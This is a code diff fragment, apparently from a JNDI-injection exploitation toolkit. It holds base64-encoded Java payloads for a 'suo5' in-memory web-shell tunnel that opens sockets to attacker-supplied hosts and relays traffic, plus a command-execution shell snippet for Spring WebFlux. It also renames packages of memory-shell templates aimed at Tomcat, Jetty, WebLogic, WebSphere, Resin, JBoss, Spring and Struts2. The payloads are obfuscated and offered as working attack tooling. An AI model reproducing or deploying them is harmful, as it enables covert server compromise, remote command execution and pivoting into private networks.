public static String SUO5_READ_INPUT_STREAM_WITH_TIMEOUT = "cHVibGljIHZvaWQgcmVhZElucHV0U3RyZWFtV2l0aFRpbWVvdXQoamF2YS5pby5JbnB1dFN0cmVhbSBpcywgYnl0ZVtdIGIsIGludCB0aW1lb3V0TWlsbGlzKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiwgamF2YS5sYW5nLkludGVycnVwdGVkRXhjZXB0aW9uIHsKCQlpbnQgIGJ1ZmZlck9mZnNldCAgPSAwOwoJCWxvbmcgbWF4VGltZU1pbGxpcyA9IG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSArIHRpbWVvdXRNaWxsaXM7CgkJd2hpbGUgKG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSA8IG1heFRpbWVNaWxsaXMgJiYgYnVmZmVyT2Zmc2V0IDwgYi5sZW5ndGgpIHsKCQkJaW50IHJlYWRMZW5ndGggPSBiLmxlbmd0aCAtIGJ1ZmZlck9mZnNldDsKCQkJaWYgKGlzLmF2YWlsYWJsZSgpIDwgcmVhZExlbmd0aCkgewoJCQkJcmVhZExlbmd0aCA9IGlzLmF2YWlsYWJsZSgpOwoJCQl9CgkJCWludCByZWFkUmVzdWx0ID0gaXMucmVhZChiLCBidWZmZXJPZmZzZXQsIHJlYWRMZW5ndGgpOwoJCQlpZiAocmVhZFJlc3VsdCA9PSAtMSkgYnJlYWs7CgkJCWJ1ZmZlck9mZnNldCArPSByZWFkUmVzdWx0OwoJCQlqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDIwMEwpOwoJCX0KCX0=";
public static String CMD_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIHNiLmFwcGVuZChleGVjQ21kKHRoaXMuQ09NTUFORCkpOwp9";
// suo5 tryFullDuplex 方法,需要 readInputStreamWithTimeout 方法
public static String SUO5_TRY_FULL_DUPLEX = "CXB1YmxpYyB2b2lkIHRyeUZ1bGxEdXBsZXgoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24sIGphdmEubGFuZy5JbnRlcnJ1cHRlZEV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWJ5dGVbXSAgICAgICAgICAgICAgZGF0YSA9IG5ldyBieXRlWzMyXTsKCQlyZWFkSW5wdXRTdHJlYW1XaXRoVGltZW91dChpbiwgZGF0YSwgMjAwMCk7CgkJamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0ID0gcmVzcG9uc2UuZ2V0T3V0cHV0U3RyZWFtKCk7CgkJb3V0LndyaXRlKGRhdGEpOwoJfQ==";
// suo5 readReq 方法,需要 unmarshal 方法
public static String SUO5_READ_REQ = "CXByaXZhdGUgdm9pZCByZWFkUmVxKGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSBidWZJbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gc29ja2V0T3V0U3RyZWFtKSB0aHJvd3MgamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJd2hpbGUgKHRydWUpIHsKCQkJamF2YS51dGlsLkhhc2hNYXAgZGF0YU1hcCA9IHVubWFyc2hhbChidWZJbnB1dFN0cmVhbSk7CgkJCWJ5dGVbXSBhY3Rpb24gPSAoYnl0ZVtdKSBkYXRhTWFwLmdldCgiYWMiKTsKCQkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSkgewoJCQkJcmV0dXJuOwoKCQkJfQoJCX0KCX0=";
// suo5 processDataUnary 方法,需要 unmarshalmarshalreadSocketnewStatusnewDel
public static String SUO5_PROCESS_DATA_UNARY = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhVW5hcnkoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwKSB0aHJvd3MKCQkJamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICBpcyAgICAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWphdmF4LnNlcnZsZXQuU2VydmxldENvbnRleHQgY3R4ICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpLmdldFNlcnZsZXRDb250ZXh0KCk7CgkJamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtICByZWFkZXIgID0gbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShpcyk7CgkJamF2YS51dGlsLkhhc2hNYXAgICAgICAgICAgICBkYXRhTWFwID0gdW5tYXJzaGFsKHJlYWRlcik7CgoJCVN0cmluZyBjbGllbnRJZCA9IG5ldyBTdHJpbmcoKGJ5dGVbXSkgZGF0YU1hcC5nZXQoImlkIikpOwoJCWJ5dGVbXSBhY3Rpb24gICA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJhYyIpOwoJCWlmIChhY3Rpb24ubGVuZ3RoICE9IDEpIHsKCQkJcmVzcC5zZXRTdGF0dXMoNDAzKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRCdWZmZXJTaXplKDggKiAxMDI0KTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSByZXNwT3V0U3RyZWFtID0gcmVzcC5nZXRPdXRwdXRTdHJlYW0oKTsKCQlqYXZhLmlvLk91dHB1dFN0cmVhbSBzY091dFN0cmVhbTsKCQlpZiAoYWN0aW9uWzBdID09IDB4MDIpIHsKCQkJc2NPdXRTdHJlYW0gPSAoamF2YS5pby5PdXRwdXRTdHJlYW0pIGN0eC5nZXRBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCQlpZiAoc2NPdXRTdHJlYW0gIT0gbnVsbCkgewoJCQkJc2NPdXRTdHJlYW0uY2xvc2UoKTsKCQkJfQoJCQlyZXR1cm47CgkJfSBlbHNlIGlmIChhY3Rpb25bMF0gPT0gMHgwMSkgewoJCQlzY091dFN0cmVhbSA9IChqYXZhLmlvLk91dHB1dFN0cmVhbSkgY3R4LmdldEF0dHJpYnV0ZShjbGllbnRJZCk7CgkJCWlmIChzY091dFN0cmVhbSA9PSBudWxsKSB7CgkJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3RGVsKCkpKTsKCQkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJCXJldHVybjsKCQkJfQoJCQlieXRlW10gZGF0YSA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJkdCIpOwoJCQlpZiAoZGF0YS5sZW5ndGggIT0gMCkgewoJCQkJc2NPdXRTdHJlYW0ud3JpdGUoZGF0YSk7CgkJCQlzY091dFN0cmVhbS5mbHVzaCgpOwoJCQl9CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRIZWFkZXIoIlgtQWNjZWwtQnVmZmVyaW5nIiwgIm5vIik7CgkJU3RyaW5nICAgICAgICAgIGhvc3QgPSBuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pIGRhdGFNYXAuZ2V0KCJwIikpKTsKCQlqYXZhLm5ldC5Tb2NrZXQgc2M7CgkJdHJ5IHsKCQkJc2MgPSBuZXcgamF2YS5uZXQuU29ja2V0KCk7CgkJCXNjLmNvbm5lY3QobmV3IGphdmEubmV0LkluZXRTb2NrZXRBZGRyZXNzKGhvc3QsIHBvcnQpLCA1MDAwKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAxKSkpOwoJCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgkJCXJlc3BPdXRTdHJlYW0uY2xvc2UoKTsKCQkJcmV0dXJuOwoJCX0KCgkJc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQljdHguc2V0QXR0cmlidXRlKGNsaWVudElkLCBzY091dFN0cmVhbSk7CgkJcmVzcE91dFN0cmVhbS53cml0ZShtYXJzaGFsKG5ld1N0YXR1cygoYnl0ZSkgMHgwMCkpKTsKCQlyZXNwT3V0U3RyZWFtLmZsdXNoKCk7CgoJCWphdmEuaW8uSW5wdXRTdHJlYW0gc2NJblN0cmVhbSA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9IGZpbmFsbHkgewoJCQlzYy5jbG9zZSgpOwoJCQlyZXNwT3V0U3RyZWFtLmNsb3NlKCk7CgkJCWN0eC5yZW1vdmVBdHRyaWJ1dGUoY2xpZW50SWQpOwoJCX0KCX0=";
// suo5 processDataBio 方法,需要 unmarshalreadReqnewStatusmarshalsetStream 方法
public static String SUO5_PROCESS_DATA_BIO = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhQmlvKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgcmVxdWVzdCwgamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcCkgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWZpbmFsIGphdmEuaW8uSW5wdXRTdHJlYW0gICAgICAgICByZXFJbnB1dFN0cmVhbSA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0gcmVxUmVhZGVyICAgICAgPSBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKHJlcUlucHV0U3RyZWFtKTsKCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgICAgICAgICAgICAgZGF0YU1hcCAgICAgICAgPSB1bm1hcnNoYWwocmVxUmVhZGVyKTsKCgkJYnl0ZVtdIGFjdGlvbiA9IChieXRlW10pZGF0YU1hcC5nZXQoImFjIik7CgkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSB8fCBhY3Rpb25bMF0gIT0gMHgwMCkgewoJCQlyZXNwLnNldFN0YXR1cyg0MDMpOwoJCQlyZXR1cm47CgkJfQoJCXJlc3Auc2V0QnVmZmVyU2l6ZSg4ICogMTAyNCk7CgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gcmVzcE91dFN0cmVhbSA9IHJlc3AuZ2V0T3V0cHV0U3RyZWFtKCk7CgoJCS8vIDB4MDAgY3JlYXRlIHNvY2tldAoJCXJlc3Auc2V0SGVhZGVyKCJYLUFjY2VsLUJ1ZmZlcmluZyIsICJubyIpOwoJCVN0cmluZyAgICAgICAgICBob3N0ID0gbmV3IFN0cmluZygoYnl0ZVtdKWRhdGFNYXAuZ2V0KCJoIikpOwoJCWludCAgICAgICAgICAgICBwb3J0ID0gSW50ZWdlci5wYXJzZUludChuZXcgU3RyaW5nKChieXRlW10pZGF0YU1hcC5nZXQoInAiKSkpOwoJCWphdmEubmV0LlNvY2tldCBzYzsKCQl0cnkgewoJCQlzYyA9IG5ldyBqYXZhLm5ldC5Tb2NrZXQoKTsKCQkJc2MuY29ubmVjdChuZXcgamF2YS5uZXQuSW5ldFNvY2tldEFkZHJlc3MoaG9zdCwgcG9ydCksIDUwMDApOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXJlc3BPdXRTdHJlYW0ud3JpdGUobWFyc2hhbChuZXdTdGF0dXMoKGJ5dGUpIDB4MDEpKSk7CgkJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlyZXR1cm47CgkJfQoKCQlyZXNwT3V0U3RyZWFtLndyaXRlKG1hcnNoYWwobmV3U3RhdHVzKChieXRlKSAweDAwKSkpOwoJCXJlc3BPdXRTdHJlYW0uZmx1c2goKTsKCgkJZmluYWwgamF2YS5pby5PdXRwdXRTdHJlYW0gc2NPdXRTdHJlYW0gPSBzYy5nZXRPdXRwdXRTdHJlYW0oKTsKCQlmaW5hbCBqYXZhLmlvLklucHV0U3RyZWFtICBzY0luU3RyZWFtICA9IHNjLmdldElucHV0U3RyZWFtKCk7CgoJCWphdmEubGFuZy5UaHJlYWQgdCA9IG51bGw7CgkJdHJ5IHsKCQkJdGhpcy5zZXRTdHJlYW0oc2NJblN0cmVhbSwgcmVzcE91dFN0cmVhbSk7CgkJCXQgPSBuZXcgamF2YS5sYW5nLlRocmVhZCgoamF2YS5sYW5nLlJ1bm5hYmxlKSB0aGlzKTsKCQkJdC5zdGFydCgpOwoJCQlyZWFkUmVxKHJlcVJlYWRlciwgc2NPdXRTdHJlYW0pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfSBmaW5hbGx5IHsKCQkJc2MuY2xvc2UoKTsKCQkJcmVzcE91dFN0cmVhbS5jbG9zZSgpOwoJCQlpZiAodCAhPSBudWxsKSB7CgkJCQl0LmpvaW4oKTsKCQkJfQoJCX0KCX0=";
// suo 关键方法,需要 Field HEADER_KEY HEADER_VALUE,需要 processDataUnary processDataBio 方法
public static String SUO5 = "ewoJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICAgICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsKCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOwoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIgICAgICAgPSByZXF1ZXN0LmdldEhlYWRlcihIRUFERVJfS0VZKTsKCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudFR5cGUgPSByZXF1ZXN0LmdldEhlYWRlcigiQ29udGVudC1UeXBlIik7CgoJCQlpZiAoaGVhZGVyICE9IG51bGwgJiYgaGVhZGVyLmVxdWFscyhIRUFERVJfVkFMVUUpKSB7CgkJCQlpZiAoY29udGVudFR5cGUgPT0gbnVsbCkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCXRyeSB7CgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vcGxhaW4iKSkgewoJCQkJCQl0cnlGdWxsRHVwbGV4KHJlcXVlc3QsIHJlc3BvbnNlKTsKCQkJCQkJcmV0dXJuOwoJCQkJCX0KCgkJCQkJaWYgKGNvbnRlbnRUeXBlLmVxdWFscygiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikpIHsKCQkJCQkJcHJvY2Vzc0RhdGFCaW8ocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXByb2Nlc3NEYXRhVW5hcnkocmVxdWVzdCwgcmVzcG9uc2UpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9";
// run 方法,需要 readSocket 方法,需要 Field gInStreamgOutStream
public static String RUN = "cHVibGljIHZvaWQgcnVuKCkgewoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoZ0luU3RyZWFtLCBnT3V0U3RyZWFtKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0=";
}
}
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.BypassNginxCDN;
package com.qi4l.jndi.template.memshellStatic.BypassNginxCDN;
import org.apache.tomcat.util.codec.binary.Base64;
import org.apache.tomcat.util.security.ConcurrentMessageDigest;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.BypassNginxCDN;
package com.qi4l.jndi.template.memshellStatic.BypassNginxCDN;
import org.apache.catalina.connector.RequestFacade;
import org.apache.tomcat.util.codec.binary.Base64;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell;
package com.qi4l.jndi.template.memshellStatic;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty;
package com.qi4l.jndi.template.memshellStatic.Tomcat_Spring_Jetty;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty;
package com.qi4l.jndi.template.memshellStatic.Tomcat_Spring_Jetty;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.Websphere;
package com.qi4l.jndi.template.memshellStatic.Websphere;
import javax.servlet.*;
import java.io.IOException;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.Websphere;
package com.qi4l.jndi.template.memshellStatic.Websphere;
import com.ibm.websphere.wsoc.WsWsocServerContainer;
import weblogic.servlet.internal.HttpConnectionHandler;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.Websphere;
package com.qi4l.jndi.template.memshellStatic.Websphere;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.Websphere;
package com.qi4l.jndi.template.memshellStatic.Websphere;
public class websphereEcho {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.jboss;
package com.qi4l.jndi.template.memshellStatic.jboss;
import javax.servlet.*;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.jboss;
package com.qi4l.jndi.template.memshellStatic.jboss;
import io.undertow.servlet.api.DeploymentInfo;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.jetty;
package com.qi4l.jndi.template.memshellStatic.jetty;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.jetty;
package com.qi4l.jndi.template.memshellStatic.jetty;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.NamedObject;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.resin;
package com.qi4l.jndi.template.memshellStatic.resin;
import com.caucho.server.dispatch.FilterConfigImpl;
import com.caucho.server.dispatch.FilterMapper;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.resin;
package com.qi4l.jndi.template.memshellStatic.resin;
import com.caucho.server.dispatch.ServletConfigImpl;
import com.caucho.server.dispatch.ServletManager;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.resin;
package com.qi4l.jndi.template.memshellStatic.resin;
import com.caucho.websocket.WebSocketContext;
import com.caucho.websocket.WebSocketListener;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.spring;
package com.qi4l.jndi.template.memshellStatic.spring;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.spring;
package com.qi4l.jndi.template.memshellStatic.spring;
import org.springframework.beans.BeansException;
import org.springframework.web.context.WebApplicationContext;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.spring;
package com.qi4l.jndi.template.memshellStatic.spring;
import org.springframework.core.io.buffer.DefaultDataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.struts2;
package com.qi4l.jndi.template.memshellStatic.struts2;
public class Struts2ActionMS {
public static String pattern;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import org.apache.catalina.core.StandardThreadExecutor;
import org.apache.tomcat.util.net.NioEndpoint;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import org.apache.catalina.Wrapper;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationServletRegistration;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.tomcat;
package com.qi4l.jndi.template.memshellStatic.tomcat;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.memshell.weblogic;
package com.qi4l.jndi.template.memshellStatic.weblogic;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;